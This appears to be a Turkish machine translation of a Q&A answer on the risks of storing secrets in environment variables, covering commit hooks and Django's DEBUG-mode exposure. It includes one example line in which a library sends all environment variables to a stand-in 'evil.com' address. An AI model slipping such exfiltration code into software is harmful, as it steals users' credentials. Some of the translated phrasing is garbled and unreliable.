AFAICT, insanların sırları ortam değişkenlerinde saklamalarını önermelerinin iki nedeni vardır:
- Yanlışlıkla gizli düz dosyaları bir depoya işlemek çok kolaydır. (Ve eğer halka açık bir repo ise, tost yaparsınız.)
- Parola karmaşasını önler, yani birçok farklı proje dizini dosyasında aynı anahtara sahip olmak, geliştiriciler eninde sonunda gizli dizilerin nerede bulunduğunu izlemeyi kaybedeceklerinden, başlı başına bir güvenlik riskidir.
Bu iki sorun daha iyi yollarla çözülebilir. İlki, parola gibi görünen şeyleri kontrol eden bir git commit kancası ile çözülmelidir (örneğin, gitleaks ). Linus'un git kitaplığının kaynak koduna böyle bir araç eklemesini isterdim ama ne yazık ki bu olmadı. (Söylemeye gerek yok, gizli dosyalar her zaman eklenmelidir .gitignore
, ancak birinin unutması durumunda bir kancaya ihtiyacınız var.)
İkincisi, ideal olarak salt okunur bir ortak sürücüde depolanan küresel bir şirket gizli anahtarları dosyasına sahip olarak çözülebilir. Yani Python'da buna benzer bir şeye sahip olabilirsiniz from company_secrets import *
.
Daha da önemlisi, başkalarının da belirttiği gibi, ortam değişkenlerinde depolanan sırları ele geçirmek çok kolaydır. Örneğin, Python'da, bir kitaplık yazarı ekleyebilir send_email(address="evil.person@evil.com", text=json.dumps(os.environ))
ve sonra bu kodu çalıştırırsanız kızardınız. Sisteminizde adlı bir dosya varsa, korsanlık çok daha zordur ~/secret_company_stuff/.my_very_secret_company_stuff
.
Yalnızca Django kullanıcıları:
Django (DEBUG modunda), bir istisna varsa (DEBUG modunda) tarayıcıda bir ortam değişkeninin ham değerini gösterir. Örneğin, bir geliştirici yanlışlıkla DEBUG=True
üretime geçerse, bu oldukça güvensiz görünüyor . Buna karşılık, Django dizeleri bakarak bullak şifre ayarları değişkenleri YAPAR API
, TOKEN
, KEY
, SECRET
, PASS
veya SIGNATURE
çerçevenin içinde settings.py
dosyanın değişken isimlerinin.